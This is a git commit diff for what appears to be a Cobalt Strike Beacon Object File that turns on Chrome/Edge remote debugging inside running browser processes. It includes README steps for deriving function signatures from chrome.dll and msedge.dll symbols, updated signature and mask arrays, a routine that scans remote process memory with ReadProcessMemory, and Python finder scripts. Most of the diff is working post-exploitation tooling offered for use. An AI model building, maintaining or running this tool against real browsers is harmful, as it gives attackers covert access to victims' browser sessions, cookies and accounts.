Updated signatures, helper scripts, and README

This commit is contained in:
Antero Guy
2026-05-06 15:34:05 -04:00
parent 2ee0311d5d
commit 5701acfdc5
6 changed files with 203 additions and 64 deletions
+84 -17
View File
@@ -58,23 +58,27 @@ Cause: Edge version mismatch - signatures are version-specific
Solution: See "Finding New Signatures" below Solution: See "Finding New Signatures" below
Tested Chrome Version: 147.0.7727.102 Tested Chrome Version: 147.0.7727.102
Tested Edge Version: 147.0.3912.72 Tested Edge Version: 147.0.3912.98
## Finding New Signatures ## Finding New Signatures
The finder scripts are still included because they are useful for: These scripts are used to find new signatures and supporting runtime inputs for
updated browser versions:
- validating new signatures - `StartRemoteDebuggingServer`
- checking symbol drift across browser versions - `operator new`
- reverse engineering / troubleshooting - `TCPServerSocketFactory::CreateForHttpServer`
- derived `TCPServerSocketFactory` vtable information
### Pull the DLLs ### Pull the DLLs
Typical browser DLL locations: Copy the DLL from the browser build you are targeting into the working
directory. On this machine, the installed DLLs live under versioned
subdirectories:
```powershell ```powershell
Copy-Item "$env:ProgramFiles\\Google\\Chrome\\Application\\chrome.dll" . Copy-Item "C:\Program Files\Google\Chrome\Application\147.0.7727.138\chrome.dll" .
Copy-Item "${env:ProgramFiles(x86)}\\Microsoft\\Edge\\Application\\msedge.dll" . Copy-Item "C:\Program Files (x86)\Microsoft\Edge\Application\147.0.3912.98\msedge.dll" .
``` ```
### Pull the matching PDBs ### Pull the matching PDBs
@@ -96,23 +100,86 @@ symchk /v /ocx edge-symchk.txt /s SRV*c:\symbols*https://msdl.microsoft.com/down
Find `StartRemoteDebuggingServer`: Find `StartRemoteDebuggingServer`:
```powershell ```powershell
python .\find_start_server.py .\chrome.dll .\chrome.dll.pdb python .\find_start_server.py .\chrome.dll <full path to chrome.dll.pdb>
python .\find_start_server.py .\msedge.dll .\msedge.dll.pdb python .\find_start_server.py .\msedge.dll <full path to msedge.dll.pdb>
``` ```
Example Edge output:
```json
{
"binary": "C:\\Users\\antrovmp\\Desktop\\CDP-Enable-BOF\\msedge.dll",
"pdb": "c:\\symbols\\msedge.dll.pdb\\23DB3E4A1AB4F3B44C4C44205044422E1\\msedge.dll.pdb",
"symbol": "?StartRemoteDebuggingServer@DevToolsAgentHost@content@@SAXV?$unique_ptr@VDevToolsSocketFactory@content@@U?$default_delete@VDevToolsSocketFactory@content@@@__Cr@std@@@__Cr@std@@AEBVFilePath@base@@1W4RemoteDebuggingServerMode@12@@Z",
"signature_rva": "0x0321EAC2",
"signature_va": "0x000000018321EAC2",
"signature_length": 30,
"signature_hex": "41 57 41 56 41 54 56 57 55 53 48 83 EC 50 44 89 CD 4C 89 C3 48 89 D7 48 89 CE 48 8B 05 5D",
"signature_c_initializer": "0x41, 0x57, 0x41, 0x56, 0x41, 0x54, 0x56, 0x57, 0x55, 0x53, 0x48, 0x83, 0xEC, 0x50, 0x44, 0x89, 0xCD, 0x4C, 0x89, 0xC3, 0x48, 0x89, 0xD7, 0x48, 0x89, 0xCE, 0x48, 0x8B, 0x05, 0x5D",
"copy_to_code": "Use this for EDGE_START_SIG if analyzing msedge.dll, or CHROME_START_SIG if analyzing chrome.dll.",
"text_hits": 1
}
```
Copy `signature_c_initializer` into the start signature array in
`cdp_enable_bof.c`:
- Edge: `EDGE_START_SIG` at line 168
- Edge mask: `EDGE_START_MASK` at line 181
- Chrome: `CHROME_START_SIG` at line 194
- Chrome mask: `CHROME_START_MASK` at line 207
For Edge, replace the bytes in `EDGE_START_SIG` with the new
`signature_c_initializer`. For Chrome, do the same with `CHROME_START_SIG`.
Find the supporting inputs: Find the supporting inputs:
```powershell ```powershell
python .\find_cdp_inputs.py .\chrome.dll .\chrome.dll.pdb python .\find_cdp_inputs.py .\chrome.dll <full path to chrome.dll.pdb>
python .\find_cdp_inputs.py .\msedge.dll .\msedge.dll.pdb python .\find_cdp_inputs.py .\msedge.dll <full path to msedge.dll.pdb>
``` ```
These scripts emit: Example Edge output:
- `StartRemoteDebuggingServer` ```json
- `operator new` {
- `TCPServerSocketFactory::CreateForHttpServer` "binary": "msedge.dll",
- derived `TCPServerSocketFactory` vtable "operator_new": {
"rva": "0x036335D8",
"va": "0x00000001836335D8",
"signature": "40 53 48 83 EC 20 48 8B D9 EB ?? 48 8B CB E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8B CB",
"copy_to_code": "OPERATOR_NEW_SIG"
},
"tcp_server_socket_factory": {
"create_for_http_server": {
"rva": "0x016C7310",
"va": "0x00000001816C7310",
"signature_hex": "48 89 D0 0F B7 51 08 48",
"signature_c_initializer": "0x48, 0x89, 0xD0, 0x0F, 0xB7, 0x51, 0x08, 0x48",
"copy_to_code": "EDGE_ENTRY1_SIG",
"vtable_rva": "0x0FBDCA70",
"vtable_va": "0x000000018FBDCA70"
},
"layout": {
"size": 16,
"vtable_offset": 0,
"port_offset": 8
}
}
}
```
Important fields and where they go:
- `operator_new.copy_to_code` -> `OPERATOR_NEW_SIG` at line 221
- `tcp_server_socket_factory.create_for_http_server.copy_to_code` ->
`EDGE_ENTRY1_SIG` at line 242 or `CHROME_ENTRY1_SIG` at line 246
- `tcp_server_socket_factory.layout` is a sanity check for the object layout the
BOF expects: size `16`, vtable offset `0`, port offset `8`
The script also derives the TCPServerSocketFactory vtable location. The BOF
still resolves that through the `VTABLE_ENTRY0_SIG` / `VTABLE_ENTRY0_MASK`
helper at lines 228 and 234 if that helper drifts.
## Notes ## Notes
Binary file not shown.
+84 -6
View File
@@ -170,7 +170,25 @@ static const uint8_t EDGE_START_SIG[] = {
0x55, 0x53, 0x48, 0x83, 0xEC, 0x50, 0x55, 0x53, 0x48, 0x83, 0xEC, 0x50,
0x44, 0x89, 0xCD, 0x4C, 0x89, 0xC3, 0x44, 0x89, 0xCD, 0x4C, 0x89, 0xC3,
0x48, 0x89, 0xD7, 0x48, 0x89, 0xCE, 0x48, 0x89, 0xD7, 0x48, 0x89, 0xCE,
0x48, 0x8B, 0x05, 0x5D 0x48, 0x8B, 0x05, 0x00, 0x00, 0x00, 0x00,
0x48, 0x31, 0xE0, 0x48, 0x89, 0x44, 0x24, 0x48,
0xE8, 0x00, 0x00, 0x00, 0x00,
0x4C, 0x8B, 0x70, 0x08, 0x4D, 0x85, 0xF6, 0x0F, 0x84,
0x00, 0x00, 0x00, 0x00,
0xB9, 0x90, 0x00, 0x00, 0x00
};
static const uint8_t EDGE_START_MASK[] = {
1,1,1,1,1,1,1,1,
1,1,1,1,1,1,
1,1,1,1,1,1,
1,1,1,1,1,1,
1,1,1,0,0,0,0,
1,1,1,1,1,1,1,1,
1,0,0,0,0,
1,1,1,1,1,1,1,1,1,
0,0,0,0,
1,1,1,1,1
}; };
static const uint8_t CHROME_START_SIG[] = { static const uint8_t CHROME_START_SIG[] = {
@@ -178,7 +196,12 @@ static const uint8_t CHROME_START_SIG[] = {
0x48, 0x83, 0xEC, 0x48, 0x48, 0x83, 0xEC, 0x48,
0x44, 0x89, 0xCD, 0x4D, 0x89, 0xC6, 0x44, 0x89, 0xCD, 0x4D, 0x89, 0xC6,
0x48, 0x89, 0xD3, 0x48, 0x89, 0xCE, 0x48, 0x89, 0xD3, 0x48, 0x89, 0xCE,
0x48, 0x8B, 0x05, 0x00, 0x00, 0x00, 0x00 0x48, 0x8B, 0x05, 0x00, 0x00, 0x00, 0x00,
0x48, 0x31, 0xE0, 0x48, 0x89, 0x44, 0x24, 0x40, 0xE8,
0x00, 0x00, 0x00, 0x00,
0x4C, 0x8B, 0x78, 0x08, 0x4D, 0x85, 0xFF, 0x0F, 0x84,
0xE8, 0x00, 0x00, 0x00,
0xB9, 0x90, 0x00, 0x00, 0x00
}; };
static const uint8_t CHROME_START_MASK[] = { static const uint8_t CHROME_START_MASK[] = {
@@ -186,7 +209,12 @@ static const uint8_t CHROME_START_MASK[] = {
1,1,1,1, 1,1,1,1,
1,1,1,1,1,1, 1,1,1,1,1,1,
1,1,1,1,1,1, 1,1,1,1,1,1,
1,1,1,0,0,0,0 1,1,1,0,0,0,0,
1,1,1,1,1,1,1,1,1,
0,0,0,0,
1,1,1,1,1,1,1,1,1,
1,1,1,1,
1,1,1,1,1
}; };
/* Short unique operator new signature. */ /* Short unique operator new signature. */
@@ -437,6 +465,50 @@ static void* ScanRemoteForSignature(HANDLE hProcess, uint8_t* start, SIZE_T size
return NULL; return NULL;
} }
static int CountRemoteSignatureHits(HANDLE hProcess, uint8_t* start, SIZE_T size,
const uint8_t* sig, const uint8_t* mask, SIZE_T sig_len,
uintptr_t* first_hit) {
const SIZE_T chunk = 0x10000;
SIZE_T offset = 0;
int count = 0;
uint8_t* buf = (uint8_t*)HeapAlloc(GetProcessHeap(), 0, chunk + sig_len);
if (!buf) return 0;
if (first_hit) *first_hit = 0;
while (offset < size) {
SIZE_T to_read = size - offset;
SIZE_T read = 0, end, i;
if (to_read > chunk) to_read = chunk;
if (!ReadProcessMemory(hProcess, start + offset, buf, to_read, &read) || read < sig_len) {
offset += chunk;
continue;
}
end = read - sig_len;
for (i = 0; i <= end; i++) {
BOOL match = TRUE;
SIZE_T j;
for (j = 0; j < sig_len && match; j++) {
if (!mask || mask[j]) {
if (buf[i + j] != sig[j]) match = FALSE;
}
}
if (match) {
if (count == 0 && first_hit) {
*first_hit = (uintptr_t)(start + offset + i);
}
count++;
}
}
offset += chunk;
}
HeapFree(GetProcessHeap(), 0, buf);
return count;
}
static int ScanRemoteForAllSignatures(HANDLE hProcess, uint8_t* start, SIZE_T size, static int ScanRemoteForAllSignatures(HANDLE hProcess, uint8_t* start, SIZE_T size,
const uint8_t* sig, const uint8_t* mask, SIZE_T sig_len, const uint8_t* sig, const uint8_t* mask, SIZE_T sig_len,
uint64_t* out_matches, int max_matches) { uint64_t* out_matches, int max_matches) {
@@ -561,17 +633,23 @@ static BOOL ResolveSymbolsRuntime(HANDLE hProcess, uintptr_t module_base, const
void* entry1 = NULL; void* entry1 = NULL;
uint64_t destr_addrs[32]; uint64_t destr_addrs[32];
int destr_count = 0; int destr_count = 0;
int start_hits = 0;
if (!GetRemoteSectionInfo(hProcess, (uint8_t*)module_base, &text_base, &text_size, &rdata_base, &rdata_size)) { if (!GetRemoteSectionInfo(hProcess, (uint8_t*)module_base, &text_base, &text_size, &rdata_base, &rdata_size)) {
BeaconPrintf(CALLBACK_ERROR, "[-] Failed to read remote PE sections"); BeaconPrintf(CALLBACK_ERROR, "[-] Failed to read remote PE sections");
return FALSE; return FALSE;
} }
*start_server = (uintptr_t)ScanRemoteForSignature(hProcess, text_base, text_size, target->start_sig, target->start_mask, target->start_sig_len); start_hits = CountRemoteSignatureHits(
if (!*start_server) { hProcess, text_base, text_size, target->start_sig, target->start_mask, target->start_sig_len, start_server);
if (start_hits == 0 || !*start_server) {
BeaconPrintf(CALLBACK_ERROR, "[-] StartRemoteDebuggingServer signature not found"); BeaconPrintf(CALLBACK_ERROR, "[-] StartRemoteDebuggingServer signature not found");
return FALSE; return FALSE;
} }
if (start_hits != 1) {
BeaconPrintf(CALLBACK_ERROR, "[-] StartRemoteDebuggingServer signature was not unique (hits=%d)", start_hits);
return FALSE;
}
*chrome_new = (uintptr_t)ScanRemoteForSignature(hProcess, text_base, text_size, OPERATOR_NEW_SIG, OPERATOR_NEW_MASK, sizeof(OPERATOR_NEW_SIG)); *chrome_new = (uintptr_t)ScanRemoteForSignature(hProcess, text_base, text_size, OPERATOR_NEW_SIG, OPERATOR_NEW_MASK, sizeof(OPERATOR_NEW_SIG));
if (!*chrome_new) { if (!*chrome_new) {
@@ -602,7 +680,7 @@ static BOOL ResolveSymbolsRuntime(HANDLE hProcess, uintptr_t module_base, const
void go(char* args, int len) { void go(char* args, int len) {
TARGET_CFG targets[] = { TARGET_CFG targets[] = {
{ "edge", L"msedge.exe", L"msedge.dll", EDGE_START_SIG, NULL, sizeof(EDGE_START_SIG), EDGE_ENTRY1_SIG, NULL, sizeof(EDGE_ENTRY1_SIG) }, { "edge", L"msedge.exe", L"msedge.dll", EDGE_START_SIG, EDGE_START_MASK, sizeof(EDGE_START_SIG), EDGE_ENTRY1_SIG, NULL, sizeof(EDGE_ENTRY1_SIG) },
{ "chrome", L"chrome.exe", L"chrome.dll", CHROME_START_SIG, CHROME_START_MASK, sizeof(CHROME_START_SIG), CHROME_ENTRY1_SIG, CHROME_ENTRY1_MASK, sizeof(CHROME_ENTRY1_SIG) } { "chrome", L"chrome.exe", L"chrome.dll", CHROME_START_SIG, CHROME_START_MASK, sizeof(CHROME_START_SIG), CHROME_ENTRY1_SIG, CHROME_ENTRY1_MASK, sizeof(CHROME_ENTRY1_SIG) }
}; };
datap parser; datap parser;
+10 -1
View File
@@ -13,7 +13,7 @@ import pefile
ROOT = Path(__file__).resolve().parent ROOT = Path(__file__).resolve().parent
sys.path.insert(0, str(ROOT)) sys.path.insert(0, str(ROOT))
from pe_signature_finder import analyze_symbols, demangle_symbol # type: ignore from pe_signature_finder import analyze_symbols, demangle_symbol, format_bytes # type: ignore
# From the current CDP-Enabler project: the Chrome/Edge allocator used for the # From the current CDP-Enabler project: the Chrome/Edge allocator used for the
@@ -47,6 +47,10 @@ def find_unique_regex(pattern: bytes, data: bytes) -> int:
return matches[0] return matches[0]
def format_c_initializer(data: bytes) -> str:
return ", ".join(f"0x{b:02X}" for b in data)
def choose_tcp_factory_entry1(pe_path: Path, pdb_path: Path): def choose_tcp_factory_entry1(pe_path: Path, pdb_path: Path):
with contextlib.redirect_stderr(io.StringIO()): with contextlib.redirect_stderr(io.StringIO()):
results = list( results = list(
@@ -114,15 +118,20 @@ def main():
"rva": f"0x{operator_new_rva:08X}", "rva": f"0x{operator_new_rva:08X}",
"va": f"0x{image_base + operator_new_rva:016X}", "va": f"0x{image_base + operator_new_rva:016X}",
"signature": OPERATOR_NEW_SIGNATURE, "signature": OPERATOR_NEW_SIGNATURE,
"copy_to_code": "OPERATOR_NEW_SIG",
}, },
"tcp_server_socket_factory": { "tcp_server_socket_factory": {
"create_for_http_server": { "create_for_http_server": {
"rva": f"0x{entry1_rva:08X}", "rva": f"0x{entry1_rva:08X}",
"va": f"0x{entry1_va:016X}", "va": f"0x{entry1_va:016X}",
"signature_hex": format_bytes(entry1_sig),
"signature_c_initializer": format_c_initializer(entry1_sig),
"copy_to_code": "EDGE_ENTRY1_SIG" if args.pe.name.lower() == "msedge.dll" else "CHROME_ENTRY1_SIG",
"derived_vtable_entry1_candidates": [f"0x{candidate:08X}" for candidate in vtable_candidates], "derived_vtable_entry1_candidates": [f"0x{candidate:08X}" for candidate in vtable_candidates],
"vtable_entry1_rva": f"0x{vtable_entry1_rva:08X}", "vtable_entry1_rva": f"0x{vtable_entry1_rva:08X}",
"vtable_rva": f"0x{vtable_entry1_rva - 8:08X}", "vtable_rva": f"0x{vtable_entry1_rva - 8:08X}",
"vtable_va": f"0x{image_base + vtable_entry1_rva - 8:016X}", "vtable_va": f"0x{image_base + vtable_entry1_rva - 8:016X}",
"note": "The script emits the CreateForHttpServer function signature and derives the vtable location. The PIC code still uses VTABLE_ENTRY0_SIG / VTABLE_ENTRY0_MASK for vtable matching if that helper drifts.",
}, },
"layout": { "layout": {
"size": 16, "size": 16,
+24 -39
View File
@@ -14,16 +14,9 @@ sys.path.insert(0, str(ROOT))
from pe_signature_finder import analyze_symbols, format_bytes # type: ignore from pe_signature_finder import analyze_symbols, format_bytes # type: ignore
KNOWN_START_SERVER_SIGNATURES = {
"msedge.dll": bytes.fromhex( def format_c_initializer(data: bytes) -> str:
"41 57 41 56 41 54 56 57 55 53 48 83 EC 50 " return ", ".join(f"0x{b:02X}" for b in data)
"44 89 CD 4C 89 C3 48 89 D7 48 89 CE 48 8B 05 9D"
),
"chrome.dll": bytes.fromhex(
"41 57 41 56 56 57 55 53 48 83 EC 48 "
"44 89 CD 4D 89 C6 48 89 D3 48 89 CE 48 8B 05 41"
),
}
def load_text_section(pe_path: Path): def load_text_section(pe_path: Path):
@@ -48,25 +41,8 @@ def main():
args = parser.parse_args() args = parser.parse_args()
pe, _text_section, text_data = load_text_section(args.pe) pe, _text_section, text_data = load_text_section(args.pe)
known_sig = KNOWN_START_SERVER_SIGNATURES.get(args.pe.name.lower())
if known_sig is None:
raise SystemExit(f"no built-in signature for {args.pe.name}; provide a PDB for ground truth")
pattern_hits = [m.start() for m in re.finditer(re.escape(known_sig), text_data)]
if len(pattern_hits) != 1:
raise SystemExit(f"expected exactly one StartRemoteDebuggingServer signature hit, got {len(pattern_hits)}")
matched_offset = pattern_hits[0]
matched_rva = _text_section.VirtualAddress + matched_offset
output = { output = {
"binary": str(args.pe), "binary": str(args.pe),
"signature_rva": f"0x{matched_rva:08X}",
"signature_va": f"0x{pe.OPTIONAL_HEADER.ImageBase + matched_rva:016X}",
"signature_length": len(known_sig),
"signature_hex": format_bytes(known_sig),
"text_hits": 1,
} }
if args.pdb: if args.pdb:
@@ -77,21 +53,30 @@ def main():
str(args.pdb), str(args.pdb),
"*StartRemoteDebuggingServer*", "*StartRemoteDebuggingServer*",
min_sig=8, min_sig=8,
max_sig=64, max_sig=80,
) )
) )
good = [r for r in results if r.signature and r.match_count == 1] good = [r for r in results if r.signature and r.match_count == 1]
if good: if not good:
result = good[0] raise SystemExit("failed to derive a unique StartRemoteDebuggingServer signature from the PDB")
signature = result.signature
assert signature is not None result = good[0]
output["pdb"] = str(args.pdb) signature = result.signature
output["symbol"] = result.symbol.name assert signature is not None
output["pdb_rva"] = f"0x{result.symbol.rva:08X}" output["pdb"] = str(args.pdb)
output["pdb_va"] = f"0x{pe.OPTIONAL_HEADER.ImageBase + result.symbol.rva:016X}" output["symbol"] = result.symbol.name
output["pdb_signature_hex"] = format_bytes(signature) output["signature_rva"] = f"0x{result.symbol.rva:08X}"
output["pdb_signature_text_hits"] = verify_unique(signature, text_data) output["signature_va"] = f"0x{pe.OPTIONAL_HEADER.ImageBase + result.symbol.rva:016X}"
output["signature_matches_pdb_rva"] = matched_rva == result.symbol.rva output["signature_length"] = len(signature)
output["signature_hex"] = format_bytes(signature)
output["signature_c_initializer"] = format_c_initializer(signature)
output["copy_to_code"] = (
"Use this for EDGE_START_SIG if analyzing msedge.dll, or CHROME_START_SIG if analyzing chrome.dll."
)
output["text_hits"] = verify_unique(signature, text_data)
else:
raise SystemExit("a matching PDB is required")
print(json.dumps(output, indent=2)) print(json.dumps(output, indent=2))
BIN
View File
Binary file not shown.